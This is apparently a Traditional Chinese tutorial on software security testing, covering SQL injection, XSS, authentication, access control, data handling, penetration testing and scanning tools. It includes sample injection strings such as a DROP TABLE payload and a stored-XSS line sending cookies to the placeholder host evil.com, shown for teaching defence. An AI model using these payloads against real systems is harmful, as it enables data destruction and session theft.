安全測試旨在發現軟體系統中的安全漏洞，防止惡意攻擊和資料洩露。隨著網路攻擊日益頻繁，安全測試已成為軟體品質保證的關鍵環節。

常見安全漏洞類型#

OWASP Top 10 概覽#

OWASP（開放網頁應用程式安全計畫）定期發布最關鍵的 Web 應用程式安全風險清單：

SQL 注入攻擊#

攻擊原理#

用戶輸入：admin' OR '1'='1

原始 SQL：
SELECT * FROM users WHERE username='admin' AND password='123'

注入後 SQL：
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='任意'
                                    ↑
                           永遠為真，繞過驗證

防護措施#

永遠不要拼接 SQL，使用參數化查詢是防止 SQL 注入的最有效手段。

// 錯誤做法：字串拼接（易受注入攻擊）
String sql = "SELECT * FROM users WHERE username='" + username + "'";

// 正確做法：參數化查詢
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);

測試方法#

在輸入框中嘗試典型的注入字串：

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT * FROM passwords --
1' AND SLEEP(5) --

XSS 跨站腳本攻擊#

攻擊類型#

攻擊示例#

<!-- 反射型 XSS -->
<!-- 惡意 URL: http://example.com/search?q=<script>alert('XSS')</script> -->

<!-- 存儲型 XSS -->
<!-- 用戶評論: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script> -->

防護措施#

// 1. 輸入驗證和過濾
String sanitizedInput = HtmlUtils.htmlEscape(userInput);

// 2. 輸出編碼
<div th:text="${userContent}"></div>  <!-- 自動轉義 -->

// 3. Content Security Policy
response.setHeader("Content-Security-Policy",
    "default-src 'self'; script-src 'self'");

// 4. HttpOnly Cookie
Cookie cookie = new Cookie("session", sessionId);
cookie.setHttpOnly(true);  // JavaScript 無法讀取

測試方法#

嘗試在輸入框中輸入：

<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">
javascript:alert('XSS')

身份驗證與工作階段管理#

常見問題#

安全測試清單#

用戶登錄安全測試：
├── ☐ 密碼是否加密存儲（不可逆 Hash）
├── ☐ 密碼是否加密傳輸（HTTPS）
├── ☐ 是否有密碼複雜度要求
├── ☐ 是否有登錄失敗限制
├── ☐ 是否支持多因素認證
├── ☐ 工作階段 ID 是否足夠隨機
├── ☐ 登錄後是否更新工作階段 ID
├── ☐ Cookie 是否設置 HttpOnly
├── ☐ Cookie 是否設置 Secure
└── ☐ 是否有工作階段逾時機制

訪問控制測試#

常見訪問控制問題#

測試方法#

1. 垂直越權測試：
   - 以普通用戶身份登錄
   - 嘗試直接訪問管理員 URL
   - 驗證是否被拒絕

2. 水平越權測試：
   - 以用戶 A 登錄
   - 將 URL 中的用戶 ID 改為用戶 B
   - 驗證是否能訪問用戶 B 的資料

3. 功能級越權測試：
   - 瀏覽器中正常操作
   - 攔截請求，修改參數
   - 驗證是否能執行未授權操作

不要僅依賴前端控制：隱藏按鈕不代表安全，後端必須驗證每個請求的權限。

敏感資料處理#

敏感資料類型#

安全處理原則#

敏感資料安全處理清單：
├── 存儲
│   ├── 密碼：單向 Hash（bcrypt/Argon2）+ 鹽值
│   ├── 敏感資料：對稱加密（AES-256）
│   └── 密鑰：安全存儲（HSM/密鑰管理服務）
├── 傳輸
│   ├── 使用 TLS 1.2+
│   └── 敏感資料額外加密
├── 使用
│   ├── 最小權限原則
│   └── 避免在日誌中記錄
└── 銷毀
    ├── 安全擦除
    └── 定期清理過期資料

安全測試方法#

測試類型#

滲透測試流程#

┌──────────────┐
│  1. 資訊收集  │ ── 目標識別、連線埠掃描、服務識別
└──────┬───────┘
       ↓
┌──────────────┐
│  2. 漏洞分析  │ ── 識別潛在漏洞點
└──────┬───────┘
       ↓
┌──────────────┐
│  3. 漏洞利用  │ ── 嘗試利用漏洞獲取訪問權限
└──────┬───────┘
       ↓
┌──────────────┐
│  4. 權限提升  │ ── 嘗試獲取更高權限
└──────┬───────┘
       ↓
┌──────────────┐
│  5. 報告輸出  │ ── 記錄發現並提供修復建議
└──────────────┘

安全掃描工具#

動態應用安全測試（DAST）#

靜態應用安全測試（SAST）#

依賴漏洞檢測#

# Maven 項目
mvn org.owasp:dependency-check-maven:check

# npm 項目
npm audit

# Python 項目
safety check

安全測試最佳實踐#

整合到 CI/CD#

# 安全測試流水線示例
security_pipeline:
  stages:
    - name: "SAST"
      tools:
        - "SonarQube"
        - "SpotBugs"

    - name: "依賴掃描"
      tools:
        - "OWASP Dependency Check"
        - "Snyk"

    - name: "DAST"
      tools:
        - "OWASP ZAP"
      trigger: "部署到測試環境後"

    - name: "容器掃描"
      tools:
        - "Trivy"
        - "Clair"

安全測試清單#

安全是持續的過程：安全測試不是一次性活動，應該持續進行，並將安全意識融入整個開發生命週期。